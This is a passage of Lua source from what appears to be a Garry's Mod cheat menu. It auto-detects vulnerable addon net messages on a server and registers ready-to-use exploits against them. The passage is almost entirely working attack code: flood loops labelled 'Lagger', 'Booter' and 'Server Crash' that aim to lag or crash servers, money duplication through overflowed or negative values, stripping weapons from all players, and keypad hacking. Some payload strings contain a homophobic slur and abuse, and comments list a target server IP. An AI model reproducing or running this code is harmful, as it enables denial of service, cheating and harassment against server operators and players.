8210addExploit( "244","SUP Buy Armor", "", function()
8211surface.PlaySound("garrysmod/ui_click.wav")
8212NOTIFICATION("Starting")
8213net.Start("Shop_buy")
8214net.WriteString("Armor")
8215net.SendToServer()
8216end )
8217end
8218
8219status = ValidNetString("LawsToServer")
8220if (status) then
8221CHATPRINT("Exploit Trouvé : SUP New Laws [LawsToServer]")
8222addExploit( "245","SUP New Laws", "", function()
8223surface.PlaySound("garrysmod/ui_click.wav")
8224NOTIFICATION("Starting")
8225net.Start("LawsToServer")
8226net.WriteString("FAGGOTS")
8227net.SendToServer()
8228end )
8229end
8230
8231status = ValidNetString("D3A_Message")
8232if (status) then
8233CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
8234addExploit( "246","D3A Message", "", function()
8235surface.PlaySound("garrysmod/ui_click.wav")
8236NOTIFICATION("Starting")
8237local stuff = {
8238
8239}
8240net.Start("D3A_Message")
8241net.WriteString("FAGGOTS")
8242net.WriteTable(stuff)
8243net.SendToServer()
8244end )
8245end
8246
8247status = ValidNetString("misswd_accept")
8248if (status) then
8249CHATPRINT("Exploit Trouvé : Misswd Accept [misswd_accept]")
8250addExploit( "247","Misswd Accept", "", function()
8251surface.PlaySound("garrysmod/ui_click.wav")
8252NOTIFICATION("Starting")
8253for k,v in pairs(player.GetAll()) do
8254for i = 0, 100 do
8255net.Start("misswd_accept")
8256net.WriteEntity(v)
8257net.SendToServer()
8258end
8259end
8260end )
8261end
8262
8263status = ValidNetString("ScannerMenu")
8264if (status) then
8265CHATPRINT("Exploit Trouvé : Scanner Exploit [ScannerMenu]")
8266addExploit( "248","Scanner Exploit", "", function()
8267surface.PlaySound("garrysmod/ui_click.wav")
8268NOTIFICATION("Starting")
8269for k,v in pairs(player.GetAll()) do
8270net.Start("ScannerMenu")
8271net.WriteEntity(v)
8272net.WriteFloat(1)
8273net.WriteFloat(1)
8274net.SendToServer()
8275end
8276end )
8277end
8278
8279status = ValidNetString("ORG_NewOrg")
8280if (status) then
8281CHATPRINT("Exploit Trouvé : New ORG [ORG_NewOrg]")
8282addExploit( "249","New ORG", "", function()
8283surface.PlaySound("garrysmod/ui_click.wav")
8284NOTIFICATION("Starting")
8285net.Start("ORG_NewOrg")
8286net.WriteString("I FUCKING HATE YOU!")
8287net.SendToServer()
8288end )
8289end
8290
8291status = ValidNetString("ORG_VaultDonate")
8292if (status) then
8293CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
8294addExploit( "250","Argent Gratuite #27", "", function()
8295surface.PlaySound("garrysmod/ui_click.wav")
8296NOTIFICATION("Starting")
8297net.Start("ORG_VaultDonate")
8298net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8299net.SendToServer()
8300end )
8301end
8302
8303status = ValidNetString("Selldatride")
8304if (status) then
8305CHATPRINT("Exploit Trouvé : Sell Datride [Selldatride]")
8306addExploit( "251","Sell Datride", "", function()
8307surface.PlaySound("garrysmod/ui_click.wav")
8308NOTIFICATION("Starting")
8309for k,v in pairs(player.GetAll()) do
8310net.Start("Selldatride")
8311net.WriteEntity(v)
8312net.SendToServer()
8313end
8314end )
8315end
8316
8317status = ValidNetString("passmayorexam")
8318if (status) then
8319CHATPRINT("Exploit Trouvé : Passexam Exploit [passmayorexam]")
8320addExploit( "252","Passexam Exploit", "", function()
8321surface.PlaySound("garrysmod/ui_click.wav")
8322NOTIFICATION("Starting")
8323net.Start("passmayorexam")
8324net.SendToServer()
8325end )
8326end
8327
8328status = ValidNetString("levelup_useperk")
8329if (status) then
8330CHATPRINT("Exploit Trouvé : LevelUp Exploit [levelup_useperk]")
8331addExploit( "253","LevelUp Exploit", "", function()
8332surface.PlaySound("garrysmod/ui_click.wav")
8333NOTIFICATION("Starting")
8334net.Start("levelup_useperk")
8335net.WriteInt(1, 8)
8336net.WriteInt(2, 8)
8337net.WriteInt(3, 8)
8338net.WriteInt(4, 8)
8339net.SendToServer()
8340end )
8341end
8342
8343status = ValidNetString("ZED_SpawnCar")
8344if (status) then
8345CHATPRINT("Exploit Trouvé : ZED Spawn Car [ZED_SpawnCar]")
8346addExploit( "254","ZED Spawn Car", "", function()
8347surface.PlaySound("garrysmod/ui_click.wav")
8348NOTIFICATION("Starting")
8349net.Start("ZED_SpawnCar")
8350net.WriteFloat(1)
8351net.SendToServer()
8352end )
8353end
8354
8355status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8356if (status) then
8357CHATPRINT("Exploit Trouvé : To wear a gas mask at all players [DeployMask]")
8358addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8359surface.PlaySound("garrysmod/ui_click.wav")
8360NOTIFICATION("Starting")
8361for k,v in pairs(ents.GetAll()) do
8362net.Start("DeployMask")
8363net.WriteEntity(v)
8364net.SendToServer()
8365end
8366end )
8367end
8368
8369status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8370if (status) then
8371CHATPRINT("Exploit Trouvé : Remove the gas mask from all players [RemoveMask]")
8372addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8373surface.PlaySound("garrysmod/ui_click.wav")
8374NOTIFICATION("Starting")
8375for k,v in pairs(ents.GetAll()) do
8376net.Start("RemoveMask")
8377net.WriteEntity(v)
8378net.SendToServer()
8379end
8380end )
8381end
8382
8383status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8384if (status) then
8385CHATPRINT("Exploit Trouvé : Change all filters of a gas mask [SwapFilter]")
8386addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8387surface.PlaySound("garrysmod/ui_click.wav")
8388NOTIFICATION("Starting")
8389for k,v in pairs(ents.GetAll()) do
8390net.Start("SwapFilter")
8391net.WriteEntity(v)
8392net.SendToServer()
8393end
8394end )
8395end
8396
8397status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8398if (status) then
8399CHATPRINT("Exploit Trouvé : Wipe gas masks [WipeMask]")
8400addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8401surface.PlaySound("garrysmod/ui_click.wav")
8402NOTIFICATION("Starting")
8403for k,v in pairs(ents.GetAll()) do
8404net.Start("WipeMask")
8405net.WriteEntity(v)
8406net.SendToServer()
8407end
8408end )
8409end
8410
8411status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8412if (status) then
8413CHATPRINT("Exploit Trouvé : Use Medkit [UseMedkit]")
8414addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8415surface.PlaySound("garrysmod/ui_click.wav")
8416NOTIFICATION("Starting")
8417for k,v in pairs(ents.GetAll()) do
8418net.Start("UseMedkit")
8419net.WriteEntity(v)
8420net.SendToServer()
8421end
8422end )
8423end
8424
8425status = ValidNetString("IDInv_RequestBank")
8426if (status) then
8427CHATPRINT("Exploit Trouvé : Lagger #23 [IDInv_RequestBank]")
8428addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8429surface.PlaySound("garrysmod/ui_click.wav")
8430NOTIFICATION("Starting")
8431if !timer.Exists("lagger23") then
8432timer.Create("lagger23", 0, 0, function()
8433for i = 1, 1000 do
8434net.Start("IDInv_RequestBank",true)
8435net.SendToServer()
8436end
8437end )
8438end
8439end )
8440end
8441
8442status = ValidNetString("casinokit_chipexchange")
8443if (status) then
8444CHATPRINT("Exploit Trouvé : Lagger #24 [casinokit_chipexchange]")
8445addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
8446surface.PlaySound("garrysmod/ui_click.wav")
8447NOTIFICATION("Starting")
8448if !timer.Exists("lagger24") then
8449timer.Create("lagger24", 0, 0, function()
8450for i = 1, 1000 do
8451net.Start("casinokit_chipexchange",true)
8452net.WriteEntity(LocalPlayer())
8453net.WriteString("darkrp")
8454net.WriteBool(false)
8455net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
8456net.SendToServer()
8457end
8458end )
8459end
8460end )
8461end
8462
8463status = ValidNetString("RemoveTag")
8464if (status) then
8465CHATPRINT("Exploit Trouvé : 1tap server [RemoveTag]")
8466addExploit( "262","1tap server", "discovered by Leith", function()
8467surface.PlaySound("garrysmod/ui_click.wav")
8468NOTIFICATION("Starting")
8469timer.Create("1tap", 0.5, 0, function()
8470for i=1, 4000 do
8471net.Start("RemoveTag")
8472net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
8473net.SendToServer()
8474end
8475end )
8476end )
8477end
8478
8479status = ValidNetString("desktopPrinter_Withdraw")
8480if (status) then
8481CHATPRINT("Exploit Trouvé : Lagger #25 [desktopPrinter_Withdraw]")
8482addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
8483surface.PlaySound("garrysmod/ui_click.wav")
8484NOTIFICATION("Starting")
8485if !timer.Exists("lagger25") then
8486timer.Create("lagger25", 0, 0, function()
8487for i = 1, 1000 do
8488net.Start("desktopPrinter_Withdraw",true)
8489net.WriteEntity(LocalPlayer())
8490net.SendToServer()
8491end
8492end )
8493end
8494end )
8495end
8496
8497status = ValidNetString("sphys_dupe")
8498if (status) then
8499CHATPRINT("Exploit Trouvé : Lagger #26 [sphys_dupe]")
8500addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8501surface.PlaySound("garrysmod/ui_click.wav")
8502NOTIFICATION("Starting")
8503timer.Create("lagger26", 0.2, 0, function()
8504for i=1,2200 do
8505net.Start("sphys_dupe",true)
8506net.SendToServer()
8507end
8508end )
8509end )
8510end
8511
8512status = ValidNetString("simfphys_gasspill")
8513if (status) then
8514CHATPRINT("Exploit Trouvé : Poop on players [simfphys_gasspill]")
8515addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8516surface.PlaySound("garrysmod/ui_click.wav")
8517NOTIFICATION("Starting")
8518timer.Create("poop", 0.1, 0, function()
8519for k,v in pairs(player.GetAll()) do
8520for j=1,3 do
8521if IsValid(v) then
8522net.Start("simfphys_gasspill")
8523net.WriteVector(v:GetPos()+Vector(0,0,90))
8524net.WriteVector(v:EyePos())
8525net.SendToServer()
8526end
8527end
8528end
8529end )
8530end )
8531end
8532
8533status = ValidNetString("dronesrewrite_controldr")
8534if (status) then
8535CHATPRINT("Exploit Trouvé : Lagger #27 [dronesrewrite_controldr]")
8536addExploit( "266","Lagger #27", "discovered by Solly", function()
8537surface.PlaySound("garrysmod/ui_click.wav")
8538NOTIFICATION("Starting")
8539timer.Create("lagger27", 0.2, 0, function()
8540for i=1,2200 do
8541net.Start("dronesrewrite_controldr",true)
8542net.SendToServer()
8543end
8544end )
8545end )
8546end
8547
8548
8549status = ValidNetString("SCP-294Sv")
8550if (status) then
8551CHATPRINT("Exploit Trouvé : SCP-294 Exploit [SCP-294Sv]")
8552addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
8553surface.PlaySound("garrysmod/ui_click.wav")
8554NOTIFICATION("Starting")
8555for k,v in pairs(ents.GetAll()) do
8556net.Start("SCP-294Sv")
8557net.WriteString("acid")
8558net.WriteEntity(v)
8559net.SendToServer()
8560end
8561end )
8562end
8563
8564status = ValidNetString("phone")
8565if (status) then
8566CHATPRINT("Exploit Trouvé : Call all players [phone]")
8567addExploit( "269","Call all players", "discovered by questionmark", function()
8568surface.PlaySound("garrysmod/ui_click.wav")
8569NOTIFICATION("Starting")
8570for k, v in pairs(player.GetAll()) do
8571net.Start("phone")
8572net.WriteTable{
8573ply=v,
8574act='call'
8575}
8576net.SendToServer()
8577end
8578end )
8579end
8580
8581status = ValidNetString("blueatm")
8582if (status) then
8583CHATPRINT("Exploit Trouvé : Lagger #29 [blueatm]")
8584addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
8585surface.PlaySound("garrysmod/ui_click.wav")
8586NOTIFICATION("Starting")
8587timer.Create("lagger29", 0, 0, function()
8588for i = 1, 1000 do
8589net.Start("blueatm",true)
8590net.WriteEntity(LocalPlayer())
8591net.SendToServer()
8592end
8593end )
8594end )
8595end
8596
8597status = ValidNetString("cab_cd_testdrive")
8598if (status) then
8599CHATPRINT("Exploit Trouvé : Stavox Teleport [cab_cd_testdrive]")
8600addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
8601surface.PlaySound("garrysmod/ui_click.wav")
8602NOTIFICATION("Starting")
8603net.Start('cab_cd_testdrive')
8604net.WriteUInt(0, 3)
8605net.WriteUInt(5, 8)
8606net.SendToServer()
8607end )
8608end
8609
8610status = ValidNetString("cab_sendmessage")
8611if (status) then
8612CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
8613addExploit( "272","Stavox Message", "discovered by Aromatic", function()
8614surface.PlaySound("garrysmod/ui_click.wav")
8615NOTIFICATION("Starting")
8616for k, v in pairs(player.GetAll()) do
8617net.Start("cab_sendmessage")
8618net.WriteEntity(v)
8619net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
8620net.SendToServer()
8621end
8622end )
8623end
8624
8625status = ValidNetString("disguise")
8626if (status) then
8627CHATPRINT("Exploit Trouvé : Lagger #30 [disguise]")
8628addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
8629surface.PlaySound("garrysmod/ui_click.wav")
8630timer.Create("lagger30", 0, 0, function()
8631for i = 1, 1000 do
8632net.Start("disguise",true)
8633net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
8634net.SendToServer()
8635end
8636end )
8637end )
8638end
8639
8640status = ValidNetString("FARMINGMOD_DROPITEM")
8641if (status) then
8642CHATPRINT("Exploit Trouvé : Lagger #31 [FARMINGMOD_DROPITEM]")
8643addExploit( "274","Lagger #31", "discovered by Leith", function()
8644surface.PlaySound("garrysmod/ui_click.wav")
8645timer.Create("lagger31", 0, 0, function()
8646for i = 1, 1000 do
8647net.Start("FARMINGMOD_DROPITEM",true)
8648net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
8649net.SendToServer()
8650end
8651end )
8652end )
8653end
8654
8655status = ValidNetString("SlotsRemoved")
8656if (status) then
8657CHATPRINT("Exploit Trouvé : Lagger #32 [SlotsRemoved]")
8658addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
8659surface.PlaySound("garrysmod/ui_click.wav")
8660timer.Create("lagger32", 0, 0, function()
8661for i = 1, 1000 do
8662net.Start("SlotsRemoved",true)
8663net.SendToServer()
8664end
8665end )
8666end )
8667end
8668
8669status = ValidNetString("AirDrops_StartPlacement")
8670if (status) then
8671CHATPRINT("Exploit Trouvé : Lagger #33 [AirDrops_StartPlacement]")
8672addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
8673surface.PlaySound("garrysmod/ui_click.wav")
8674timer.Create("lagger33", 0, 0, function()
8675for i = 1, 1000 do
8676net.Start("AirDrops_StartPlacement",true)
8677net.SendToServer()
8678end
8679end )
8680end )
8681end
8682
8683status = ValidNetString("IGS.GetPaymentURL")
8684if (status) then
8685CHATPRINT("Exploit Trouvé : Lagger #35 [IGS.GetPaymentURL]")
8686addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
8687surface.PlaySound("garrysmod/ui_click.wav")
8688timer.Create("lagger35", 0, 0, function()
8689for i = 1, 1000 do
8690net.Start("IGS.GetPaymentURL",true)
8691net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
8692net.SendToServer()
8693end
8694end )
8695end )
8696end
8697
8698status = ValidNetString("fg_printer_money")
8699if (status) then
8700CHATPRINT("Exploit Trouvé : Lagger #36 [fg_printer_money]")
8701addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
8702surface.PlaySound("garrysmod/ui_click.wav")
8703timer.Create("lagger36", 0, 0, function()
8704for i = 1, 1000 do
8705net.Start('fg_printer_money',true)
8706net.WriteEntity(LocalPlayer())
8707net.SendToServer()
8708end
8709end )
8710end )
8711end
8712
8713status = ValidNetString("tickbookpayfine")
8714if (status) then
8715CHATPRINT("Exploit Trouvé : Lagger #37 [tickbookpayfine]")
8716addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
8717surface.PlaySound("garrysmod/ui_click.wav")
8718timer.Create("lagger37", 0, 0, function()
8719for i = 1, 1000 do
8720net.Start("tickbookpayfine",true)
8721net.SendToServer()
8722end
8723end )
8724end )
8725end
8726
8727status = ValidNetString("BeginSpin")
8728if (status) then
8729CHATPRINT("Exploit Trouvé : Lagger #38 [BeginSpin]")
8730addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
8731surface.PlaySound("garrysmod/ui_click.wav")
8732timer.Create("lagger38", 0, 0, function()
8733for i = 1, 1000 do
8734net.Start("BeginSpin",true)
8735net.SendToServer()
8736end
8737end )
8738end )
8739end
8740
8741status = ValidNetString("DuelRequestClient")
8742if (status) then
8743CHATPRINT("Exploit Trouvé : Lagger #39 [DuelRequestClient]")
8744addExploit( "282","Lagger #39", "discovered by Leith", function()
8745surface.PlaySound("garrysmod/ui_click.wav")
8746timer.Create("lagger39", 0, 0, function()
8747for i = 1, 1000 do
8748net.Start("DuelRequestClient",true)
8749net.SendToServer()
8750end
8751end )
8752end )
8753end
8754
8755status = ValidNetString("ncpstoredoact")
8756if (status) then
8757CHATPRINT("Exploit Trouvé : Lagger #40 [ncpstoredoact]")
8758addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
8759surface.PlaySound("garrysmod/ui_click.wav")
8760timer.Create("lagger40", 0, 0, function()
8761for i = 1, 1000 do
8762net.Start("ncpstoredoact",true)
8763net.SendToServer()
8764end
8765end )
8766end )
8767end
8768
8769status = ValidNetString("PermwepsNPCSellWeapon")
8770if (status) then
8771CHATPRINT("Exploit Trouvé : Lagger #41 [PermwepsNPCSellWeapon]")
8772addExploit( "284","Lagger #41", "discovered by Leith", function()
8773surface.PlaySound("garrysmod/ui_click.wav")
8774timer.Create("lagger41", 0, 0, function()
8775for i = 1, 2000 do
8776net.Start("PermwepsNPCSellWeapon",true)
8777net.WriteString("")
8778net.SendToServer()
8779end
8780end )
8781end )
8782end
8783
8784status = ValidNetString("bitcoins_request_withdraw")
8785if (status) then
8786CHATPRINT("Exploit Trouvé : Lagger #42 [bitcoins_request_withdraw]")
8787addExploit( "285","Lagger #42", "discovered by Leith", function()
8788surface.PlaySound("garrysmod/ui_click.wav")
8789timer.Create("lagger42", 0, 0, function()
8790for i = 1, 2000 do
8791net.Start("bitcoins_request_withdraw",true)
8792net.SendToServer()
8793end
8794end )
8795end )
8796end
8797
8798status = ValidNetString("bitcoins_request_turn_on")
8799if (status) then
8800CHATPRINT("Exploit Trouvé : To include all bitcoin miners [bitcoins_request_turn_on]")
8801addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
8802surface.PlaySound("garrysmod/ui_click.wav")
8803NOTIFICATION("Starting")
8804for k, v in pairs(ents.GetAll()) do
8805if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8806net.Start("bitcoins_request_turn_on")
8807net.WriteEntity(v)
8808net.SendToServer()
8809end
8810end
8811end)
8812end
8813
8814status = ValidNetString("bitcoins_request_turn_off")
8815if (status) then
8816CHATPRINT("Exploit Trouvé : Disable all bitcoin miners [bitcoins_request_turn_off]")
8817addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
8818surface.PlaySound("garrysmod/ui_click.wav")
8819NOTIFICATION("Starting")
8820for k, v in pairs(ents.GetAll()) do
8821if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8822net.Start("bitcoins_request_turn_off")
8823net.WriteEntity(v)
8824net.SendToServer()
8825end
8826end
8827end)
8828end
8829
8830status = ValidNetString("NET_AM_MakePotion")
8831if (status) then
8832CHATPRINT("Exploit Trouvé : Lagger #43 [NET_AM_MakePotion]")
8833addExploit( "288","Lagger #43", "discovered by Leith", function()
8834surface.PlaySound("garrysmod/ui_click.wav")
8835NOTIFICATION("Starting")
8836timer.Create("lagger43", 0, 0, function()
8837for i = 1, 2000 do
8838net.Start('NET_AM_MakePotion',true)
8839net.WriteEntity(LocalPlayer())
8840net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
8841net.SendToServer()
8842end
8843end )
8844end )
8845end
8846
8847status = ValidNetString("minigun_drones_switch")
8848if (status) then
8849CHATPRINT("Exploit Trouvé : Lagger #44 [minigun_drones_switch]")
8850addExploit( "289","Lagger #44", "discovered by Solly", function()
8851surface.PlaySound("garrysmod/ui_click.wav")
8852NOTIFICATION("Starting")
8853timer.Create("lagger44", 0.2, 0, function()
8854for i=1,2200 do
8855net.Start("minigun_drones_switch",true)
8856net.SendToServer()
8857end
8858end )
8859end )
8860end
8861
8862status = ValidNetString("CW20_PRESET_LOAD")
8863if (status) then
8864CHATPRINT("Exploit Trouvé : Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
8865addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
8866surface.PlaySound("garrysmod/ui_click.wav")
8867NOTIFICATION("Starting")
8868timer.Create("lagger45", 0.2, 0, function()
8869if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
8870for i=1,2200 do
8871net.Start("CW20_PRESET_LOAD",true)
8872net.SendToServer()
8873end
8874end
8875end )
8876end )
8877end
8878
8879status = ValidNetString("SBP_addtime")
8880if (status) then
8881CHATPRINT("Exploit Trouvé : Lagger #46 [SBP_addtime]")
8882addExploit( "291","Lagger #46", "discovered by Solly", function()
8883surface.PlaySound("garrysmod/ui_click.wav")
8884NOTIFICATION("Starting")
8885timer.Create("lagger46", 0.3, 0, function()
8886for i=1,2200 do
8887net.Start("SBP_addtime",true)
8888net.SendToServer()
8889end
8890end )
8891end )
8892end
8893
8894status = ValidNetString("NetData")
8895if (status) then
8896CHATPRINT("Exploit Trouvé : Outfit player nouser [NetData]")
8897addExploit( "292","Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
8898surface.PlaySound("garrysmod/ui_click.wav")
8899NOTIFICATION("Starting")
8900for k, v in pairs(player.GetAll()) do
8901net.Start("NetData")
8902net.WriteString("OF")
8903net.WriteUInt(4,8)
8904net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
8905net.SendToServer()
8906end
8907end )
8908end
8909
8910status = ValidNetString("SBP_addtime")
8911if (status) then
8912CHATPRINT("Exploit Trouvé : XP Booster [SBP_addtime]")
8913addExploit( "293","XP Booster", "discovered by Solly", function()
8914inputFrameExists = true
8915inputFrame = vgui.Create( "DFrame" )
8916inputFrame:SetTitle("Enter the number")
8917inputFrame:SetSize( 400, 75 )
8918inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8919inputFrame:SetDraggable(false)
8920inputFrame:ShowCloseButton(true)
8921inputFrame:MakePopup()
8922inputFrame.Paint = function( self, w, h )
8923draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8924end
8925local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8926TextEntry:SetSize( 380, 30 )
8927TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8928TextEntry:SetText( "100" )
8929TextEntry.OnEnter = function( self )
8930surface.PlaySound("garrysmod/ui_click.wav")
8931timer.Create("ofn", 0.2, 0, function()
8932for i=1,tonumber(self:GetText()) do
8933net.Start("SBP_addtime")
8934net.SendToServer()
8935end
8936inputFrame:SetVisible(false)
8937end )
8938end
8939end )
8940end
8941
8942 status = ValidNetString("StackGhost")
8943
8944 if (status) then
8945 CHATPRINT("Exploit Trouvé : Booter 24000 #1")
8946
8947 addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
8948 surface.PlaySound("garrysmod/ui_click.wav")
8949 NOTIFICATION("Starting")
8950
8951 if !(timer.Exists("Booteur24000")) then
8952 timer.Create("Booteur24000", 0.02, 0, function()
8953 for i = 1, 2000 do
8954 net.Start("StackGhost", true)
8955 net.WriteInt(69, 32)
8956 net.SendToServer()
8957 end
8958 end)
8959 else
8960 timer.Stop("Booteur2400011")
8961 end
8962end)
8963end
8964
8965 status = ValidNetString("pac_submit")
8966
8967 if (status) then
8968 CHATPRINT("Exploit Trouvé: Booter 24000 #2")
8969
8970 addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
8971 surface.PlaySound("garrysmod/ui_click.wav")
8972 NOTIFICATION("Starting")
8973
8974 -----------------------------------
8975 timer.Create("Booteur240002", 0.02, 0, function()
8976 for i = 1, 1000 do
8977 Disco.NetStart("pac_submit")
8978 net.SendToServer()
8979 end
8980 end)
8981 end)
8982 ----------------------------------
8983 end
8984
8985 status = ValidNetString("RequestMAPSize")
8986
8987 if (status) then
8988 CHATPRINT("Exploit Trouvé : 1tap server [MapSize]")
8989
8990 addExploit("296", "1tap server [MapSize]", "-1 server", function()
8991 surface.PlaySound("garrysmod/ui_click.wav")
8992 NOTIFICATION("Starting")
8993
8994 -----------------------------------
8995 timer.Create("lagger10", 0, 0, function()
8996 for i = 1, 400 do
8997 net.Start("RequestMAPSize")
8998 net.SendToServer()
8999 end
9000 end)
9001 end)
9002 ----------------------------------
9003 end
9004
9005 status = ValidNetString("properties")
9006
9007 if (status) then
9008 CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip")
9009
9010 addExploit("297", "El Famoso Exploit Strip", "-weapon", function()
9011 surface.PlaySound("garrysmod/ui_click.wav")
9012 NOTIFICATION("Starting")
9013
9014 -----------------------------------
9015 for k, v in pairs(player.GetAll()) do
9016 if v:IsPlayer() then
9017 for k, v in pairs(v:GetWeapons()) do
9018 net.Start("properties")
9019 net.WriteString("remove", 32)
9020 net.WriteEntity(v)
9021 net.SendToServer()
9022 end
9023 end
9024 end
9025 end)
9026 ----------------------------------
9027 end
9028
9029 status = ValidNetString("start_wd_emp")
9030
9031 if (status) then
9032 CHATPRINT("Exploit Trouvé : Hack Keypad")
9033
9034 addExploit("298", "HackKeypad", "Hack Keypad", function()
9035 surface.PlaySound("garrysmod/ui_click.wav")
9036 NOTIFICATION("Starting")
9037 -----------------------------------
9038 net.Start('start_wd_emp')
9039 net.SendToServer()
9040 end)
9041 ----------------------------------
9042 end
9043
9044 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
9045
9046 if (status) then
9047 CHATPRINT("Exploit Trouvé : Server Crash")
9048
9049 addExploit("299", "Server Crash", " ", function()
9050 surface.PlaySound("garrysmod/ui_click.wav")
9051 NOTIFICATION("Starting")
9052
9053 -----------------------------------
9054 timer.Create("crasher2", 0, 0, function()
9055 for i = 1, 400 do
9056 net.Start("pac.net.TouchFlexes.ClientNotify")
9057 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
9058 net.SendToServer()
9059 end
9060 end)
9061 end)
9062 ----------------------------------
9063 end
9064
9065 status = ValidNetString("ItemStoreDrop")
9066
9067 if (status) then
9068 CHATPRINT("Exploit Trouvé : Item booter24000")
9069
9070 addExploit("300", "Item Booter24000", "Un item aussi fort qu'adrien et freezer", function()
9071 surface.PlaySound("garrysmod/ui_click.wav")
9072 NOTIFICATION("Starting")
9073
9074 -----------------------------------
9075 timer.Create("booteur24000items", 0, 0, function()
9076 for i = 1, 1000 do
9077 net.Start("ItemStoreDrop")
9078 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9079 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9080 net.SendToServer()
9081 end
9082 end)
9083 end)
9084 ----------------------------------
9085 end
9086
9087 status = ValidNetString("TFA_Attachment_RequestAll")
9088
9089 if (status) then
9090 CHATPRINT("Exploit Trouvé : TFA LAGGER")
9091
9092 addExploit("301", "TFA LAGGER", "Oublie pas de porter du TFA", function()
9093 surface.PlaySound("garrysmod/ui_click.wav")
9094 NOTIFICATION("Starting")
9095
9096 -----------------------------------
9097 timer.Create("lagger20", 0.02, 0, function()
9098 for i = 1, 4400 do
9099 net.Start("TFA_Attachment_RequestAll", true)
9100 net.SendToServer()
9101 end
9102 end)
9103 end)
9104 ----------------------------------
9105 end
9106
9107 status = ValidNetString("ts_buytitle")
9108
9109 if (status) then
9110 CHATPRINT("Exploit Trouvé : Lagger #47 [ts_buytitle]")
9111
9112 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
9113 surface.PlaySound("garrysmod/ui_click.wav")
9114 NOTIFICATION("Starting")
9115
9116 timer.Create("lagger47", 0, 0, function()
9117 for i = 1, 1000 do
9118 net.Start("ts_buytitle", true)
9119 net.WriteTable({})
9120 net.WriteTable({})
9121 net.WriteTable({})
9122 net.SendToServer()
9123 end
9124 end)
9125 end)
